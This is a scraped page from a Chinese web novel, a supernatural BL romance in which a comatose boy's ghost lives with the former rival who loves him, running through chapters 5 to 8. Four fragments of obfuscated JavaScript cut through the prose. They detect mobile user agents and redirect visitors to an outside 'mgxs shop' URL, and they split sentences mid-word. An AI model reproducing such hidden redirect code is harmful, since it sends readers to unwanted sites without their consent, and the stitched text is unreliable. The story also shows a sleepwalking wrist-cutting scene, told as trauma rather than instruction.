l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084477|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让你的魂魄回到身体里?” 江宵宵也苦恼:“不知道啊。我试过回去,可身体一直排斥,躺不进去。看着我爸妈在旁边哭,外婆都哭病了……我和他们说话也没人理,就只能飘过来找你了。” 苏辞行试图把项链摘下来戴在江宵宵脖子上,但没有反应。 他又哭出来,让眼泪落在玉石上,再抹到江宵宵身上,依然没有反应。 “我真不知道该怎么办了……” 江宵宵拍了拍他:“行啦,谢谢你为我做这么多。及时把我送到医院,又一直照顾我的尸体……可能就是因为你的玉石吊坠,才把我的魂魄留住了,不然我早就死了。” “从那么高的地方摔下来,不来点玄学,肯定死透了。” “胡说!”苏辞行捂住他的嘴,“什么叫照顾你的尸体?你根本没死,身体也没任何问题,只是呼吸有些弱,相当于植物人状态,没有意识,但是一直睡着。” “宵宵,如果实在没办法,你就这样陪着我也行,我愿意一直照顾你。对了,没有黑白无常来抓你吗?” 江宵宵摇头:“这个世界应该没有黑白无常吧,反正我没见到。倒是飘到森林里的时候,看见了一些孤魂野鬼,把我吓死了。” 苏辞行好笑地摸了摸他的头:“你自己都是鬼了,怎么会怕鬼呢?” “什么啊!我才刚变成鬼好不好?看见鬼当然害怕!而且他们都是死了很久的,我还算是活着的,当然更怕了!” “不怕不怕,我们宵宵是一只可爱鬼,没人能伤害你。”苏辞行把他搂在怀里,轻轻拍了拍后背。 江宵宵瞬间炸毛:“别这样哄我!我是大人又不是小孩!” 苏辞行抚过他的脸颊,少年分明还是十七岁的模样,一点也没变,身上穿的也是出事那天的那套衣服。 “别摸我!”小鬼继续炸毛。 苏辞行忍不住又凑过去亲了亲他的脸。 “别亲我!” 虽然江宵宵总是炸毛,但这么多年也没真的动手打过他,是个口是心非的小朋友。 吱—— 苏辞行捂住他的嘴:“嘘,我室友回来了,别出声。” 江宵宵立刻钻进棉被里,趴在苏辞行身边一动不敢动。 “我去,辞行,你怎么还没睡啊?” “都凌晨两点了,你又失眠了?” “看他这样子,估计又在想他弟弟。” 苏辞行每次放学就去医院照顾江宵宵,室友们都以为江宵宵是他邻家弟弟。 江宵宵身上透出的微光,隐约映亮了苏辞行的身体,他竟然有八块腹肌,胸膛的线条也很漂亮,手臂结实有力,难怪力气那么大。 他的手腕…… 江宵宵皱了皱眉。苏辞行手腕上怎么会有两道疤痕? 难道他以为自己死了,所以选择自杀殉情?还没追到,就深情到这种地步?不至于吧。 苏辞行阖眼:“马上就睡,你们动静小点。” 他不是怕吵到自己,是怕吓跑怀里的小鬼。 5. 怕光鬼 苏辞行掀开被角,压低声音:“他们应该看不见你。” 江宵宵坐起身,试探着飘到两个室友面前晃了晃,甚至穿透了他们的身体,果然是透明的。 “嘿,他们真的看不见我。” “乖,回来吧。” 江宵宵又飘了回来。 室友疑惑道:“辞行,你在自言自语吗?三更半夜的,怪吓人的。” 苏辞行没回答,把江宵宵紧紧搂进怀里,低声问:“好玩吗?” 江宵宵踹了他一脚:“别老抱着我。” 宿敌突然变得这么温柔,反倒让他有些不适应。 苏辞行却像是被踹上了瘾,不但没松手,反而顺势夹住他的脚。在这炎热的开学季,身边有个天然冰块倒也舒服。 江宵宵挣扎着扭动身体,一边骂他:“苏辞行,你给我松开!流氓!” 苏辞行不肯放手。他怕人又跑了,这两个月他肠子都快悔青了,怎么可能再松开。 “宵宵,对不起。等你身体好了,我把第一让给你,大学也让你来读,我全都让给你。” 江宵宵瞪他一眼:“谁要你让?我之前生气,也不是因为这个……我一直以为你是故意的。” 他低下头,声音渐弱,“再说……你本来就比我优秀,是我不服输,是我自己的问题,和你没关系。” “我从来没有怪过你。” 苏辞行心疼地望着他:“明天我回去问问爸妈,看他们了不了解曾爷爷的事。总能想到办法让你还魂的。” “不可能的……说不定过阵子,我就魂飞魄散了。” 江宵宵小声嘀咕,语气里藏着不易察觉的恐惧。 “不会!”苏辞行捂住他的嘴,“以后不许说这种不吉利的话。我会想尽一切办法救你。” 江宵宵抬起头,他自己也说不清,为什么回来之后,第一个想见的人,是苏辞行。 他先去了医院,发现魂魄回不去身体,父母守在床边流泪,他不想待在那儿,反而飘来找死对头。 或许是因为苏辞行这个人总让人觉得正义而可靠,又或许是因为他们从小认识,他们算朋友吗? 小时候是,后来因为成绩的误会渐渐疏远,最后形同陌路。 可现在,思来想去,他还是来找苏辞行了。 本想吓唬这家伙,来个鬼压床,谁知苏辞行竟能看见他。 如今,只有苏辞行能看见他。无处可去,也只能先待在这人身边了。 - 翌日天晴,太阳高高挂起,阳光毫无保留地洒进宿舍,他们这间是东边户,清晨总有满室暖阳。 六点多,苏辞行的闹钟还没响,就被一阵压抑的低吟惊醒。 他睁开眼,看见江宵宵蜷在被子里发抖,一个劲往墙角躲。 “宵宵!” 苏辞行握住他的手:“怎么回事……你身上怎么这么烫?” “唔……好疼……好热……”江宵宵拼命往被子里缩,身体疼得抽搐不止。 苏辞行瞥见床板上晃动的光斑,猛然醒悟。他跳下床,冲过去一把拉上窗帘。 “宵宵,宵宵——” 江宵宵缓缓睁开眼,大口喘着气。苏辞行将他搂进怀里,又用棉被裹紧:“是怕阳光吗?对了,书上说鬼不能见光……” “嗯……”江宵宵虚弱地靠在他胸前,声音轻得像羽毛,“不疼了……” 苏辞行心口一紧。若是发现得再晚些,江宵宵会不会就这样魂飞魄散,从此阴阳两隔。 “不行……你今天待在宿舍别乱跑。我出去找房子,本来住宿舍是为了晨跑方便,现在得找个照不进阳光的房间。” 江宵宵没料到他会如此细心,缩在被窝里小声说:“……也不用特意为我租房子。” “要的,必须要。”苏辞行语气坚决。 室友被动静吵醒,揉着眼睛迷糊地问:“辞行……你到底怎么了?一直自言自语,还这么早就醒了……” 苏辞行不放心,牵着江宵宵走到衣柜前,轻轻将他推进去小声嘱咐:“你先在这儿躲着,这里晒不到光,免得他们拉开窗帘。” “好吧。” 江宵宵乖乖坐在衣柜里,透明的小身子左顾右盼。 他试着摸了摸苏辞行的衣服,手指却径直穿了过去,碰不到。 苏辞行的衣服上有股淡淡的柠檬香,清爽又好闻。 两个室友坐起身,面面相觑。 “辞行是不是病了?以前就常自言自语,现在更是对着床、窗帘、衣柜说话……” “军训时他就心神不宁的,总惦记着回去看那个……活死人弟弟。” “说起这个就瘆人。没有呼吸,心跳却还在,身体也不腐坏。说没死吧,又不能呼吸,也就他姑姑开的医院敢收着了。” “可不是吗?其他医院都不敢接,都说……是染了邪祟,死了还霸着身子不走。” “太吓人了……” 江宵宵躲在衣柜里,没料到外界的传言已到了这种地步。 也是,全国都找不出第二例他这样的情况,说出去连自己都觉得诡异。 可苏辞行不但不怕,还要为他租房子。 他真的很喜欢我吗? - 当天傍晚,天色刚暗,苏辞行就带着新租的房子钥匙回来了。他径直走进宿舍开始收拾行李。 “辞行,你要搬出去?”室友问。 “怎么突然走?我们帮你吧。” 苏辞行摇摇头:“谢谢,我叫了家里司机过来接。” 他出身富贵,父母做生意的,家里有豪宅与私人司机,这些室友也都知道。 苏辞行打开衣柜,看见江宵宵缩在角落睡着了,不由轻笑,原来鬼也会犯困。 他将衣服收进行李箱,等司机来取,只轻轻抱起江宵宵,让他靠在自己怀里。 室友无意间瞥见他弯曲双臂的姿态,愣了愣,揉揉眼睛,抱着空气?肯定是他们没睡醒。 - 租的房子离得很近,步行不过五分钟。 苏辞行就这样抱着江宵宵走在路上。男孩的身体冰凉柔软,脸颊贴在他胸前,凉意透过衣衫传来。 原来鬼是这样的触感。能触碰到魂魄,大概也和自己戴的项链有关。 “唔……”江宵宵揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084478|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了揉眼睛,仰头看向苏辞行。 昏黄路灯照出出少年清俊的轮廓,十九岁,正是最好的年纪。他生了一双内双的眼睛,睫毛低垂时自带疏离感,下颚线紧绷利落,非常完美的五官。 这小子长得真帅。 “你什么时候回来的?”江宵宵拍拍他肩膀,轻巧地跃起,飘在他身侧,双脚悬空。 苏辞行与他平视。 江宵宵故意向上飘了飘,这下比苏辞行高出两个头,生前总比他矮一截,现在总算如愿以偿。 苏辞行仰头看他:“飘那么高做什么?” 江宵宵在他头顶绕来绕去:“怎么,羡慕啊?现在我可比你高了,对不对?” 苏辞行:“……” 一只幼稚的鬼。 他继续往前走,江宵宵就飘在一旁跟着。这般诡异的相伴,是他们谁都未曾想过的画面。 “那个……”江宵宵摸了摸鼻尖,这是他心虚时的小动作,“苏辞行,我听你室友说了,谢谢你收留我的身体,还过去照顾、伺候,你对我很好。” 苏辞行“嗯”了一声,没多言。 江宵宵继续飘着,忽然问:“我能坐你头上吗?变成鬼之后,体重也减半了。我从小到大的梦想就是:打败你,然后骑在你头上。” 苏辞行:“?” “可以。”他纵容得毫无原则。 江宵宵飘过去,双腿分开跨在他肩头,屁股稳稳落在苏辞行后颈的凹陷处,找了个舒适的姿势。 “感谢大哥。” 苏辞行微微一怔,好凉。 他身高一米八六,江宵宵只有一米七六,生前体重五十三公斤左右,如今成了鬼,背起来似乎只剩二十五公斤,轻得像片羽毛。 江宵宵晃了晃腿:“真好玩,我是不是很轻?这样跟你说话,你也听得清楚些。” 苏辞行握住他的脚踝,防止这只不稳当的鬼摔下去。 “嗯,很轻。” 江宵宵胡乱揉着他的头发,又说:“那什么…你人其实挺好的。以后咱们别做死对头了,恢复朋友关系如何?” “朋友?”苏辞行声音温柔,却藏着一丝别的意味,“你知道我不想只做朋友。” 江宵宵炸了毛,双腿蹬了蹬他:“什么啊!我肯跟你做朋友已经很仁慈了。我这个人……向来不好说话,更不会低声下气求人。” “我知道。”苏辞行轻笑,“所以我要你当我男朋友。除了我,没人受得了你的脾气。” 江宵宵迟钝地眨了眨眼:“……啊?” 等他反应过来,又踢了苏辞行几下,掰弯直男太不礼貌了!怎么能这样! - 当江宵宵看到苏辞行租的房子时,整个人愣住了。 那一瞬间,他忽然明白了苏辞行的深情有多重。 这是一间朝北的中间户型,客厅窗外有棵老树,茂密枝叶将阳光挡得严严实实。 即便白天,屋里恐怕也昏暗如夜。装修普通,但保洁刚刚打扫过,干净整洁,完全不像是养尊处优的大少爷会住的地方。 “这条件是不是有点差?苏辞行,你确定住得下去吗?” 6. 糊涂鬼 苏辞行没在意条件简陋,反而觉得省了笔开销,说:“房东正愁租不出去,两室一厅,一个月才九百。” 江宵宵听得愣住,这人变化真大,从前一身名牌的少爷,如今竟肯住进这间阴暗的老房子。还是为了他。 私人司机搬东西时也忍不住问:“少爷,您真打算住这儿?那么多好房子,何必选这间……” “就这里。”苏辞行语气平静,“装修是简单了些,陈叔,你明天帮我买些墙纸和地板贴。我上课时找工人简单铺一下,再把床和沙发换掉就好,辛苦。” 司机点点头:“好。” 苏辞行又嘱咐:“对了,这事别让我爸妈知道。” 司机会意,转身离开了。 苏辞行开始收拾行李,看了看厨房的锅碗瓢盆,都还能用,没课的时候还能自己做饭。 江宵宵躺在沙发上,惬意地晃着腿。这种阴暗的环境对鬼来说正舒服,身体仿佛彻底放松下来,空间也宽敞,还能在客厅飘来飘去当散步。 苏辞行收拾完,忽然问:“宵宵,你是鬼……需要吃东西吗?会不会饿?要不要我……烧点给你?” 江宵宵一下子坐直:“吃啊!当然要吃!鬼凭什么不能吃饭?我也有肚子好不好。现在这样子,应该是烧给我才行吧?” 苏辞行怔了怔,有点手足无措。他打开书包,看到里面有包饼干,便掏出打火机,打算试试。 江宵宵瞥见他随身带着打火机:“你还抽烟啊?” 苏辞行仰了仰头,声音闷闷的:“就抽了两个月,压力大的时候……解解闷。” “哦。”江宵宵摸了摸鼻尖。以前从没见过苏辞行抽烟,他死后,这人倒是颓废起来了,因为他? 江宵宵干咳两声:“那个……少抽点吧。我爷爷以前一天一包,后来老是咳嗽,肺出了毛病,人就没了。” 苏辞行眼睛一亮,凑过去抱他:“宵宵,你在关心我?” 江宵宵用力推他:“靠!别动手动脚。快去试试能不能烧东西给我。” “好吧。” 苏辞行失落地低下头,打开防风打火机,点燃了那包饼干。 两分钟后。 饼干烧成了灰。 江宵宵呆呆望着,又抬头和苏辞行对视。两人沉默着,还在等待,毕竟第一次当鬼,苏辞行也是头一回见鬼。 江宵宵挠挠头:“好像……不行啊。” 苏辞行突然站起来:“我知道了!” 江宵宵被他吓得往后一倒,摔在沙发上:“你干嘛一惊一乍,吓死鬼了!” 苏辞行迅速拿出手机下单买菜,顺便买了个围裙。 半小时后,菜送到了。 他在厨房忙活起来,江宵宵就在后头飘来飘去。锅子一颠,忽然腾起一团火,江宵宵吓得又摔了一跤。 他这才醒悟,自己真的成了鬼,所以潜意识里怕火。 苏辞行回头:“宵宵,没事吧?” “没事没事,鬼又不会痛。”江宵宵摸了摸脑袋,突然想起坠楼那天,脸朝下,额头磕得血肉模糊,苏辞行亲眼所见。不知道有没有给他留下阴影。 苏辞行忙活了一个小时,做了六道菜。 他把六个碗在茶几上一字排开,仿着祭祀的摆法。饭菜齐整,蜡烛点燃,最后将两双筷子并拢,对称搁在碗中间。 江宵宵恍然大悟,过年祭祖时,就是这样摆的。很快,他闻到了饭菜的香气。 “哇!真的有用!” 江宵宵挨个碗猛吸一口,将其中散发的精气和香气全都吸收进去,最后居然打了个嗝,捂住肚子瘫在沙发上。 “老天开恩……我居然还能吃到饭,好饱……苏辞行,你做饭真好吃。没想到第一次尝,竟是这种形式。” 苏辞行也笑了出来。和鬼同住一个屋檐下,他非但不害怕,反而觉得心里格外踏实。 他端起碗正要吃,江宵宵一把抓住他的手:“你干嘛!这是我吃过的,你吃鬼剩的东西?不太吉利吧。” 苏辞行轻笑:“不影响味道。你吃的不是实物,以前祭祀时,还有不懂事的小孩偷吃贡品呢。” 说着便往嘴里送了一口饭,又夹了菜,味道没变,尝不出任何异样。看来鬼吃饭纯属玄学,吸收精气并不影响食物本身。 江宵宵趴在茶几边看他吃饭。动作斯文,做这么多菜,就为了让他吃上一口,结果自己根本吃不完,岂不是浪费? 苏辞行吃饭时并没看饭菜,目光一直落在他身上。江宵宵躺回沙发,无聊死了。 苏辞行把手机递给他玩游戏,可鬼魂的手根本碰不到实体,总是穿透过去。 看到这场景,江宵宵眼眶又红了。摔成那样,怎么可能再活过来,除非真有医学奇迹。 苏辞行放下碗筷,轻轻揉了揉他的头发:“别哭。明天白天我去上课,晚上回医院看看你的身体。如果心跳停了,恐怕也会影响魂魄,后天晚上,我再带你回我家找曾爷爷的资料。” “你只能晚上出门,所以白天好好待在家,别乱跑。” 江宵宵拍开他的手,瞪眼:“谁哭了?好歹我也是一中校霸,再来十个鬼我都不带怕的。” 苏辞行噗嗤笑出声,偏要伸手去摸他的头。 江宵宵继续炸毛,气呼呼地像要跳起来,却被他按住肩膀,一下下轻抚后背。不知怎么,江宵宵渐渐就不反抗了。 苏辞行想起小时候家里养的猫,生气时也会竖起尾巴,要温柔慢慢安抚,多揉几回,小猫也就认人了。 “宵宵,你还记不记得,我刚转学到附小的时候被同学欺负,你那时在学跆拳道,一个人把他们好几个都打倒了。” 江宵宵打了个哈欠:“好像……记得吧。” 苏辞行目光微黯。好像? “那你还记不记得,每周一上学,你兜里总会带好多果丹皮,还分给我吃……那是我吃过最好吃的零食。” 江宵宵挠头坐起来:“……有点记不清了。” 因为他每天书包里都塞着三十多颗糖,只要是朋友都能分到。 父母总用成绩决定他的零花钱和奖励,他才那么拼命学习,换来那么多果丹皮。 大概全班的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084479|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人都吃过他的果丹皮吧……苏辞行也包括在内吗? 苏辞行咬了咬唇,某种强烈的占有欲涌上来:“你真健忘。也是,你对谁都好。” 江宵宵嘿嘿笑了下。 苏辞行继续追问:“那七岁那年,我家小猫去世,你帮我把它埋了,还安慰我别哭……亲了我一下。这个总记得吧?” 江宵宵瞪大眼睛,差点跳起来:“诬陷!这绝对是诬陷!我没干过这种事!” 苏辞行又露出那种郁郁沉沉的表情。 江宵宵低头想了想……好像真有这回事。 当时是看见爸爸这样亲妈妈来安慰人,他才学着做的。对他而言,那只是关心朋友的方式。 “八岁那年,我生病没去学校,你帮我补了两天的课,记得吗?” “不记得……”江宵宵是个老实人,不想撒谎。 “三年级我跳远扭伤脚,你帮我喊老师。” “暑假补课的时候,你还会给我带冰淇淋。” “冬天我感冒,你把羽绒服借给我穿。” “还有……” 苏辞行说了一堆,最后握住他的手,满眼充满期待:“这些……你全都忘了?” 四年级之后,他们就没怎么说过话了。 虽然江宵宵不喜欢总被压一头,但同学之间互相帮忙总是应该的,总不能见死不救。 江宵宵低声咕哝,有点心虚:“那件外套……我借给过十个朋友穿。” 他也给很多朋友买过冰淇淋,因为他是个大方的人。 苏辞行的天塌了。 他把这些事刻在心里这么多年,结果江宵宵一件都没记住? 苏辞行只有他一个朋友,只想对他一个人好。可江宵宵却是个海王? 原来他对所有人都一样温柔。 只是自己把这些好全都记住了,不知不觉就爱上了他。 苏辞行的父母常年忙于工作,他由保姆带大,很少被人这样对待过,所以记得特别深。 “江宵宵,你真是……”苏辞行生不起气来,只能扑过去把人按在沙发里,狠狠亲了一下脸。 江宵宵:“我靠靠靠!!!” 苏辞行简直爱惨了他。 江宵宵这样粗心大意、记性只有七秒的人,他非但气不起来,反而更喜欢了,就是喜欢得不得了。 苏辞行捏了捏他的嘴。这么多年隐忍,恨不得直接强吻,可终究只是想想。他不愿对喜欢的人用强。 江宵宵捂住嘴:“干什么!还想亲嘴?我的初吻是留给我未来老婆的!” 苏辞行冷哼:“我明天就去亲你的身体。反正不能动,一样的。” “你敢!植物人你都不放过,小心我弄死你!”江宵宵伸手掐他脖子。 两人在客厅闹了半天,你推我搡,最后都累得气喘吁吁。 鬼魂体力旺盛,又没有活体器官,根本不喘。苏辞行则是身体素质好,连鬼都打得过。 “好了,不闹了。快去洗澡,收拾收拾休息吧。” 江宵宵心想,鬼洗什么澡,他又忘了。 7. 直男鬼 江宵宵脸一黑:“大哥,水会直接穿过我的书身体,我洗个寂寞?” 苏辞行恍然点头:“……忘了。那我去洗,你在床上等我。” 江宵宵瞪大眼睛,这话听着也太怪了。什么叫“去床上等他”? 明明有两个房间,他才不要和男人同床共枕。 苏辞行平时洗澡总要二十分钟,今天却连头发也没吹,五分钟就出来了,像是生怕那只小鬼消失。 他先走进主卧,铺好的床上空荡荡的。又转向次卧,只见江宵宵正蜷在空衣柜里睡觉。 大概做鬼也没安全感,主卧还带窗,他反倒更喜欢阴暗角落。 “宵宵。” 苏辞行走过去,将人从衣柜里轻轻抱出来。江宵宵拍了他一下,揉着眼睛咕哝:“干什么……” “和我一起睡。” “不行!” “为什么?”苏辞行一脸难过地望着他。 江宵宵再次声明:“我是直男,两个男人挤一张床像什么话。我就在这儿睡。” 苏辞行垂下眼帘,站在那儿不知所措。他眼眶微红,发梢还在滴水,怔怔地抬手抹了抹顺着头发滑落的水珠,模样像个落难的美人,可怜得像是快碎掉。 “喂!不准哭!”江宵宵指着他嚷道。 “我没哭,我没事。”苏辞行揉了揉眼睛,“我去吹头发。你要是真在这儿睡,我去给你铺床。” 江宵宵愣在原地,自己才是被害者好吗?直男被亲是多恐怖的事,怎么现在反倒像是苏辞行受了天大委屈?有没有搞错。 他悄悄飘到客厅,看见苏辞行坐在那儿吹头发,身影透着一股无助的脆弱。 吹风机声音停下后,苏辞行抬手捂住眼睛,来回擦拭。 想到暗恋了十年的人如今生死未卜,只剩一缕魂魄,心脏就像被狠狠揪着般疼。 他忍不住从书包里摸出烟,咬住一支点燃,却被烟雾呛了一下。压抑的情绪再难按住,终于低低哭出了声。 如果江宵宵真的死了,他往后的人生该怎么办。 江宵宵突然拍了下他的头:“别哭了!我真服了,我跟你睡还不行吗?” “真的?” 苏辞行抬起头,眼眶通红。他猛地扔下烟,一把将小鬼捞起来抱进卧室,塞进被窝时脸上哪有半分伤心,简直称得上满面红光。 江宵宵怀疑自己被骗了。 可看苏辞行那副模样又确实可怜。算了,反正都成鬼了,睡一起又能怎样。 “宵宵……”苏辞行环住他,低声喃喃,“我好爱你。” 江宵宵捂住耳朵:“听不见。” 苏辞行低头亲了亲他冰凉的耳廓。 江宵宵翻了个白眼,一脸生无可恋,只想把这家伙揍一顿。 - 夜深了,窗帘微微起伏。江宵宵翻了个身,整个人贴到苏辞行身上,双腿一夹,将人当成抱枕搂紧。 苏辞行突然坐了起来。 江宵宵揉揉眼睛,打了个哈欠:“干嘛啊……都凌晨了……” 苏辞行没回答,径直走出去。接着浴室传来水声,江宵宵以为他只是上厕所,便没理会,直到一声清脆的碎裂声响起—— 啪! 江宵宵坐起身,搓了搓头发爬下床:“苏辞行,你在干什么?什么东西摔了?” 他飘进卫生间,却被眼前的景象惊呆! 苏辞行倚着墙坐在地砖上,双眼紧闭,手里攥着一片玻璃,正往手腕上划。 鲜血从伤口涌出,在皮肤上蜿蜒成一道刺目的红线。他始终没有睁眼,只喃喃念着:“宵宵……宵宵……你等我……” “苏辞行!!!” 江宵宵吓坏了,冲过去想夺下玻璃,却发现手直接穿过了碎片,他根本碰不到。 他只能抓住苏辞行的手腕用力摇晃,总算把玻璃抖落在地。 “苏辞行!你在干什么!” “苏辞行!” “睁开眼睛啊!” 苏辞行仍阖着眼,靠在他怀里不断呢喃,似乎完全没有意识。江宵宵忽然意识到,这像是在梦游。 “苏辞行,苏辞行——” “快醒醒,我是江宵宵,我没死,我就在你旁边。” “快点睁眼啊……纱布,纱布在哪儿……我拿不到,该死,拖不动你……你千万别死啊。” 江宵宵用尽力气才把人拖到客厅。他想用纸巾按住伤口,可手什么也碰不到,唯独能触到苏辞行的身体。 “苏辞行!” “我求你了,快醒来吧……我陪你,我天天陪你睡还不行吗?你可不能死啊……你死了我怎么办!” 朦胧中,苏辞行缓缓睁开眼,呆愣几秒后才疼得吸了口气。他按住流血的手腕:“……怎么回事?” 江宵宵立刻扑进他怀里:“你终于醒了!你刚才在干什么?为什么要自杀?手、手还在流血,怎么止血……你到底想干什么!” 苏辞行揉了揉发晕的脑袋,摇晃着走到玄关,从书包里翻出两瓶药,倒出几粒塞进嘴里。又扯破白天穿的一件衬衣,草草缠在手腕上。 幸好江宵宵发现得及时,伤口不深。他打开手机,在24小时药店下单了几样消炎药。 江宵宵盯着那瓶药,是抑制中枢神经的药物,通常用于减少梦游频率。 苏辞行抬手揉了揉他的头发:“……抱歉,这两天忘记吃药了。没吓到你吧?” 江宵宵皱眉:“你怎么了……刚才在梦游?” 苏辞行点头,嘴角浮起一丝疲惫的笑:“嗯。那天亲眼看见你坠楼,浑身是血躺在我怀里,后来呼吸停止,身体一点点变冷……那画面在我心里留下了阴影。每次睡着,你满脸是血的样子就反复出现,我就开始梦游……伤害自己,恨自己没用。如果我能早点联系你,或者接住你,你都不会……” “宵宵……我只要闭上眼,梦里全是你那张带血的脸,我该怎么办……” “怎么可能接住?那样咱俩都得死。”江宵宵截住他的话,“我白天还在想,会不会给你留下心理阴影……你那时也才十八岁。” 他轻轻托起苏辞行的手腕,看着那两道旧疤: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084480|195373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我还以为……之前这些疤是殉情留下的。原来是梦游……对不起,都是我害的。” 苏辞行抱住他,使劲摇头:“宵宵,你没有害我,没有。你最好了。我怎么可能自杀?我还要救你,每天在医院盼着你醒过来……宵宵……” 江宵宵叹了口气。 这个人怎么这么好,好得几乎无可挑剔。如果是个女孩,大概早就娶回家了。 苏辞行把脸埋在他肩头,闷声说:“别担心,医生说过,只要按时吃药、好好吃饭,半年左右就能好转。何况现在有你陪着我,我一定会好的。” 江宵宵沉默着没说话。 苏辞行却忽然抬头,眼睛亮亮地问:“那个……你刚才说,每天都可以陪我睡觉,是真的吗?” 江宵宵一拳轻捶在他脸上:“你倒是把这句话记得清楚。” 苏辞行摸了摸脸颊,力道很轻,根本没舍得使劲。他把人搂紧,笑得像个得到糖果的孩子。 简单处理伤口后,两人回到床上。 … 苏辞行闭上眼,苍白的脸上透着一股病态的憔悴。 江宵宵静静看着他,越看心里越不是滋味。他向来是个小太阳般的性格,只希望身边所有人都好好的。 江宵宵压低声音说:“我对你好,只是因为我性格就这样……苏辞行,别为了我把身体搞垮。快点忘了我吧。” 苏辞行把人紧紧搂进怀里,只轻轻吻了吻他的额头,嗓音低哑:“别多想,我不会忘记你,宵宵……真的谢谢你,愿意回来。” 江宵宵小声骂了句:“蠢死了。” 他还是不明白,男孩子之间,怎么会有这样深的感情。 - 第二天苏辞行要去上课,把江宵宵留在家,还特地把门反锁了。虽然锁不锁对一只鬼来说没什么区别。 江宵宵真想出去,穿个门就行,但大白天的,外面那么大的太阳,出去等于自杀,他才没那么傻。 - 直到晚上,苏辞行才带江宵宵去医院,看看他身体的状况。 自从转院过来,江宵宵因伤势过重,一直依赖多种仪器和药物维持生命,这两个月都待在ICU。 医生说,必须等醒了才能转普通病房,否则一旦呼吸支撑不住,心跳随时可能停止。 江宵宵飘在苏辞行身边,惊讶道:“我住了两个月ICU?那得花我爸妈多少钱……他们肯定气死了,又要骂我冲动。唉,当时要是没跟他们吵那么凶就好了。” 苏辞行听在耳里,心里很不是滋味,他就这么怕父母责怪吗? “你伤得很重,用的设备有四五个,加上药品、耗材、检查和护理,每天平均一万多。这两个月确实花了不少钱。上次我姑姑说,你家已经花了七十五万,一句怨言也没有,只求能用最好的设备保住你的命。” 江宵宵愣住了:“真、真的吗?我爸妈花那么多钱……救我?他们有没有责怪我啊。” “没人怪你,都知道你傻。” 苏辞行轻轻揉了揉他的头发:“你可是他们唯一的儿子。” 8. 炸毛鬼 唯一的儿子。 这句话在江宵宵脑海中反复回响。 从小到大,父母对他成绩的要求近乎苛刻,永远要求他稳居全校第一。 熬夜复习、写作业、排名只许前进不能后退,稍有退步,便是面壁思过。 记得那个暑假,他翘了补习班和同学去飙机车,被父亲江誉为逮个正着。 回家后扒光上衣一顿狠抽,父亲撂下狠话:“再敢逃课,腿给你打断。” 这真的是对唯一的儿子吗? 江宵宵从小就怕他们。天性顽皮的他容易闯祸,每次犯错就躲去外公外婆或爷爷奶奶家。他活得小心翼翼,不敢行差踏错半步。 想到这里,江宵宵竟感到一丝解脱。死了也好,他想,终于再也不用活在谁的约束之下。 可是…… 尽管江誉为和金芸对他的学习严苛到不近人情,其他方面却从未亏待过他。 想吃的、想穿的,只要成绩达标,名牌衣服、最新玩具、各式零食,应有尽有。 江宵宵心里乱成一团。对父母,究竟是爱是恨,连他自己也辨不分明。 正恍惚间,ICU病房外传来女人激动的声音,夹杂着医护人员的解释。 “你们什么意思?!” “凭什么区别对待?我们钱没交够吗?我儿子在输液!空气输进血管是多严重的事你们不知道吗?” “请的两个护工呢?都跑了不成!” 科室主任连连解释:“金夫人您冷静,刚才已经说了……那两位护工一个请假一个调休,临时顶班的那位偷了懒,我们已经第三次向您说明了……” 苏辞行快步上前询问:“江叔叔,金阿姨,出什么事了?” 金芸见是苏辞行,强压住情绪摇了摇头,这毕竟是他姑姑的医院,有些话不便多说。 “辞行,没事……你怎么这么晚还过来?放学了?” 苏辞行眉头紧锁。江宵宵趴在他肩头,目光紧紧锁在父母身上。 方才回来时没细看,此刻才真切地注意到,父亲鬓角添了许多白发,母亲整个人憔悴不堪,眼里布满红血丝,眼皮微肿,眼下是浓重的青黑。 她向来注重仪表,是学校里气质优雅、打扮得体的人民教师,何时见过她这般模样…… 江宵宵低声唤道:“妈妈……” 苏辞行轻轻摸了摸他的头,转向主任问道:“究竟怎么回事?宵宵情况怎么样?” 主任面露难色:“苏少爷,实在抱歉。原本负责的两位护工最近总有事,临时请了位代班的。她说……说江少爷没有呼吸,每次看到那张苍白的脸,总觉得人已经走了,不敢进病房,怕沾上不干净的东西。今天偷懒没及时换液,才让空气进了输液管,回头我一定让她们科室严肃处理。” 苏辞行面色平静,语气却冷了几分:“对宵宵有影响吗?心跳有没有异常?” “那倒没有,心跳还是老样子,一直维持着那条微弱的线。” 